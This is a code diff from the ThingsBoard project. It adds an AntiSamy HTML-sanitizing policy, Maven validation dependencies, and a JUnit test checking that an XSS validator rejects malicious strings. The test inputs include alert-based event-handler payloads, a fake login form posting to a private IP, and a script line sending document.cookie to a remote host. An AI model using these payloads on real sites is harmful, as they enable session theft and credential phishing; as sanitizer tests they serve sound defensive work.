116 | + <tag name="base" action="remove"/> | |
117 | + <tag name="style" action="remove"/> | |
118 | + <tag name="link" action="remove"/> | |
119 | + <tag name="input" action="remove"/> | |
120 | + <tag name="textarea" action="remove"/> | |
121 | + | |
122 | + <tag name="br" action="remove"/> | |
123 | + | |
124 | + <tag name="p" action="remove"/> | |
125 | + <tag name="div" action="remove"/> | |
126 | + <tag name="span" action="remove"/> | |
127 | + <tag name="i" action="remove"/> | |
128 | + <tag name="b" action="remove"/> | |
129 | + <tag name="strong" action="remove"/> | |
130 | + <tag name="s" action="remove"/> | |
131 | + <tag name="strike" action="remove"/> | |
132 | + <tag name="u" action="remove"/> | |
133 | + <tag name="em" action="remove"/> | |
134 | + <tag name="blockquote" action="remove"/> | |
135 | + <tag name="tt" action="remove"/> | |
136 | + | |
137 | + <tag name="a" action="remove"/> | |
138 | + | |
139 | + <tag name="ul" action="remove"/> | |
140 | + <tag name="ol" action="remove"/> | |
141 | + <tag name="li" action="remove"/> | |
142 | + <tag name="dl" action="remove"/> | |
143 | + <tag name="dt" action="remove"/> | |
144 | + <tag name="dd" action="remove"/> | |
145 | + </tag-rules> | |
146 | + | |
147 | + <css-rules> | |
148 | + <property name="text-decoration" default="none" | |
149 | + description=""> | |
150 | + | |
151 | + <category-list> | |
152 | + <category value="visual"/> | |
153 | + </category-list> | |
154 | + | |
155 | + <literal-list> | |
156 | + <literal value="underline"/> | |
157 | + <literal value="overline"/> | |
158 | + <literal value="line-through"/> | |
159 | + </literal-list> | |
160 | + </property> | |
161 | + </css-rules> | |
162 | +</anti-samy-rules> | |
\ No newline at end of file | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.dao.service; | |
17 | + | |
18 | +import org.junit.jupiter.api.BeforeAll; | |
19 | +import org.junit.jupiter.params.ParameterizedTest; | |
20 | +import org.junit.jupiter.params.provider.ValueSource; | |
21 | + | |
22 | +import javax.validation.ConstraintValidatorContext; | |
23 | + | |
24 | +import static org.junit.jupiter.api.Assertions.assertFalse; | |
25 | +import static org.mockito.Mockito.mock; | |
26 | + | |
27 | +public class NoXssValidatorTest { | |
28 | + private static NoXssValidator validator; | |
29 | + | |
30 | + @BeforeAll | |
31 | + public static void beforeAll() { | |
32 | + validator = new NoXssValidator(); | |
33 | + validator.initialize(null); | |
34 | + } | |
35 | + | |
36 | + @ParameterizedTest | |
37 | + @ValueSource(strings = { | |
38 | + "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666", | |
39 | + "9090<body onload=alert('xsssss')>90909", | |
40 | + "qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy", | |
41 | + "bambam<script>alert(document.cookie)</script>", | |
42 | + "<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221", | |
43 | + "<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>", | |
44 | + " <img src= \"http://site.com/\" > ", | |
45 | + "123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe", | |
46 | + }) | |
47 | + public void testIsNotValid(String stringWithXss) { | |
48 | + boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class)); | |
49 | + assertFalse(isValid); | |
50 | + } | |
51 | + | |
52 | +} | ... | ... |
dao/src/test/resources/xss-policy.xml
0 → 100644
1 | +<?xml version="1.0" encoding="UTF-8" ?> | |
2 | +<!-- | |
3 | + | |
4 | + Copyright © 2016-2021 The Thingsboard Authors | |
5 | + | |
6 | + Licensed under the Apache License, Version 2.0 (the "License"); | |
7 | + you may not use this file except in compliance with the License. | |
8 | + You may obtain a copy of the License at | |
9 | + | |
10 | + http://www.apache.org/licenses/LICENSE-2.0 | |
11 | + | |
12 | + Unless required by applicable law or agreed to in writing, software | |
13 | + distributed under the License is distributed on an "AS IS" BASIS, | |
14 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
15 | + See the License for the specific language governing permissions and | |
16 | + limitations under the License. | |
17 | + | |
18 | +--> | |
19 | +<anti-samy-rules> | |
20 | + | |
21 | + <directives> | |
22 | + <directive name="omitXmlDeclaration" value="true"/> | |
23 | + <directive name="omitDoctypeDeclaration" value="false"/> | |
24 | + <directive name="maxInputSize" value="100000"/> | |
25 | + <directive name="embedStyleSheets" value="false"/> | |
26 | + <directive name="useXHTML" value="true"/> | |
27 | + <directive name="formatOutput" value="true"/> | |
28 | + </directives> | |
29 | + | |
30 | + <common-regexps> | |
31 | + | |
32 | + <!-- | |
33 | + From W3C: | |
34 | + This attribute assigns a class name or set of class names to an | |
35 | + element. Any number of elements may be assigned the same class | |
36 | + name or names. Multiple class names must be separated by white | |
37 | + space characters. | |
38 | + --> | |
39 | + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> | |
40 | + | |
41 | + <!-- force non-empty with a '+' at the end instead of '*' | |
42 | + --> | |
43 | + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> | |
44 | + | |
45 | + <!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) | |
46 | + --> | |
47 | + | |
48 | + <!-- ([\p{L}/ 0-9&\#-.?=])* | |
49 | + --> | |
50 | + <regexp name="offsiteURL" | |
51 | + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> | |
52 | + </common-regexps> | |
53 | + | |
54 | + <common-attributes> | |
55 | + | |
56 | + <attribute name="lang" | |
57 | + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> | |
58 | + | |
59 | + <regexp-list> | |
60 | + <regexp value="[a-zA-Z]{2,20}"/> | |
61 | + </regexp-list> | |
62 | + </attribute> | |
63 | + | |
64 | + <attribute name="title" | |
65 | + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> | |
66 | + | |
67 | + <regexp-list> | |
68 | + <regexp name="htmlTitle"/> | |
69 | + </regexp-list> | |
70 | + </attribute> | |
71 | + | |
72 | + <attribute name="href" onInvalid="filterTag"> | |
73 | + | |
74 | + <regexp-list> | |
75 | + <regexp name="onsiteURL"/> | |
76 | + <regexp name="offsiteURL"/> | |
77 | + </regexp-list> | |
78 | + </attribute> | |
79 | + | |
80 | + <attribute name="align" | |
81 | + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> | |
82 | + | |
83 | + <literal-list> | |
84 | + <literal value="center"/> | |
85 | + <literal value="left"/> | |
86 | + <literal value="right"/> | |
87 | + <literal value="justify"/> | |
88 | + <literal value="char"/> | |
89 | + </literal-list> | |
90 | + </attribute> | |
91 | + <attribute name="style" | |
92 | + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> | |
93 | + </common-attributes> | |
94 | + | |
95 | + <global-tag-attributes> | |
96 | + <attribute name="title"/> | |
97 | + <attribute name="lang"/> | |
98 | + <attribute name="style"/> | |
99 | + </global-tag-attributes> | |
100 | + | |
101 | + <tags-to-encode> | |
102 | + <tag>g</tag> | |
103 | + <tag>grin</tag> | |
104 | + </tags-to-encode> | |
105 | + | |
106 | + <tag-rules> | |
107 | + | |
108 | + <tag name="script" action="remove"/> | |
109 | + <tag name="noscript" action="remove"/> | |
110 | + <tag name="iframe" action="remove"/> | |
111 | + <tag name="frameset" action="remove"/> | |
112 | + <tag name="frame" action="remove"/> | |
113 | + <tag name="noframes" action="remove"/> | |
114 | + <tag name="head" action="remove"/> | |
115 | + <tag name="title" action="remove"/> | |
116 | + <tag name="base" action="remove"/> | |
117 | + <tag name="style" action="remove"/> | |
118 | + <tag name="link" action="remove"/> | |
119 | + <tag name="input" action="remove"/> | |
120 | + <tag name="textarea" action="remove"/> | |
121 | + | |
122 | + <tag name="br" action="remove"/> | |
123 | + | |
124 | + <tag name="p" action="remove"/> | |
125 | + <tag name="div" action="remove"/> | |
126 | + <tag name="span" action="remove"/> | |
127 | + <tag name="i" action="remove"/> | |
128 | + <tag name="b" action="remove"/> | |
129 | + <tag name="strong" action="remove"/> | |
130 | + <tag name="s" action="remove"/> | |
131 | + <tag name="strike" action="remove"/> | |
132 | + <tag name="u" action="remove"/> | |
133 | + <tag name="em" action="remove"/> | |
134 | + <tag name="blockquote" action="remove"/> | |
135 | + <tag name="tt" action="remove"/> | |
136 | + | |
137 | + <tag name="a" action="remove"/> | |
138 | + | |
139 | + <tag name="ul" action="remove"/> | |
140 | + <tag name="ol" action="remove"/> | |
141 | + <tag name="li" action="remove"/> | |
142 | + <tag name="dl" action="remove"/> | |
143 | + <tag name="dt" action="remove"/> | |
144 | + <tag name="dd" action="remove"/> | |
145 | + </tag-rules> | |
146 | + | |
147 | + <css-rules> | |
148 | + <property name="text-decoration" default="none" | |
149 | + description=""> | |
150 | + | |
151 | + <category-list> | |
152 | + <category value="visual"/> | |
153 | + </category-list> | |
154 | + | |
155 | + <literal-list> | |
156 | + <literal value="underline"/> | |
157 | + <literal value="overline"/> | |
158 | + <literal value="line-through"/> | |
159 | + </literal-list> | |
160 | + </property> | |
161 | + </css-rules> | |
162 | +</anti-samy-rules> | |
\ No newline at end of file | ... | ... |
... | ... | @@ -47,6 +47,7 @@ |
47 | 47 | <jjwt.version>0.7.0</jjwt.version> |
48 | 48 | <json-path.version>2.2.0</json-path.version> |
49 | 49 | <junit.version>4.12</junit.version> |
50 | + <jupiter.version>5.7.1</jupiter.version> | |
50 | 51 | <slf4j.version>1.7.7</slf4j.version> |
51 | 52 | <logback.version>1.2.3</logback.version> |
52 | 53 | <mockito.version>3.3.3</mockito.version> |
... | ... | @@ -113,6 +114,10 @@ |
113 | 114 | <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version> |
114 | 115 | <wire-schema.version>3.4.0</wire-schema.version> |
115 | 116 | <twilio.version>7.54.2</twilio.version> |
117 | + <hibernate-validator.version>6.0.13.Final</hibernate-validator.version> | |
118 | + <javax.el.version>3.0.0</javax.el.version> | |
119 | + <javax.validation-api.version>2.0.1.Final</javax.validation-api.version> | |
120 | + <antisamy.version>1.6.2</antisamy.version> | |
116 | 121 | </properties> |
117 | 122 | |
118 | 123 | <modules> |
... | ... | @@ -1262,6 +1267,12 @@ |
1262 | 1267 | <scope>test</scope> |
1263 | 1268 | </dependency> |
1264 | 1269 | <dependency> |
1270 | + <groupId>org.junit.jupiter</groupId> | |
1271 | + <artifactId>junit-jupiter-params</artifactId> | |
1272 | + <version>${jupiter.version}</version> | |
1273 | + <scope>test</scope> | |
1274 | + </dependency> | |
1275 | + <dependency> | |
1265 | 1276 | <groupId>org.dbunit</groupId> |
1266 | 1277 | <artifactId>dbunit</artifactId> |
1267 | 1278 | <version>${dbunit.version}</version> |
... | ... | @@ -1458,6 +1469,36 @@ |
1458 | 1469 | </exclusion> |
1459 | 1470 | </exclusions> |
1460 | 1471 | </dependency> |
1472 | + <dependency> | |
1473 | + <groupId>org.hibernate.validator</groupId> | |
1474 | + <artifactId>hibernate-validator</artifactId> | |
1475 | + <version>${hibernate-validator.version}</version> | |
1476 | + </dependency> | |
1477 | + <dependency> | |
1478 | + <groupId>org.glassfish</groupId> | |
1479 | + <artifactId>javax.el</artifactId> | |
1480 | + <version>${javax.el.version}</version> | |
1481 | + </dependency> | |
1482 | + <dependency> | |
1483 | + <groupId>javax.validation</groupId> | |
1484 | + <artifactId>validation-api</artifactId> | |
1485 | + <version>${javax.validation-api.version}</version> | |
1486 | + </dependency> | |
1487 | + <dependency> | |
1488 | + <groupId>org.owasp.antisamy</groupId> | |
1489 | + <artifactId>antisamy</artifactId> | |
1490 | + <version>${antisamy.version}</version> | |
1491 | + <exclusions> | |
1492 | + <exclusion> | |
1493 | + <groupId>org.slf4j</groupId> | |
1494 | + <artifactId>*</artifactId> | |
1495 | + </exclusion> | |
1496 | + <exclusion> | |
1497 | + <groupId>com.github.spotbugs</groupId> | |
1498 | + <artifactId>spotbugs-annotations</artifactId> | |
1499 | + </exclusion> | |
1500 | + </exclusions> | |
1501 | + </dependency> | |
1461 | 1502 | </dependencies> |
1462 | 1503 | </dependencyManagement> |
1463 | 1504 | ... | ... |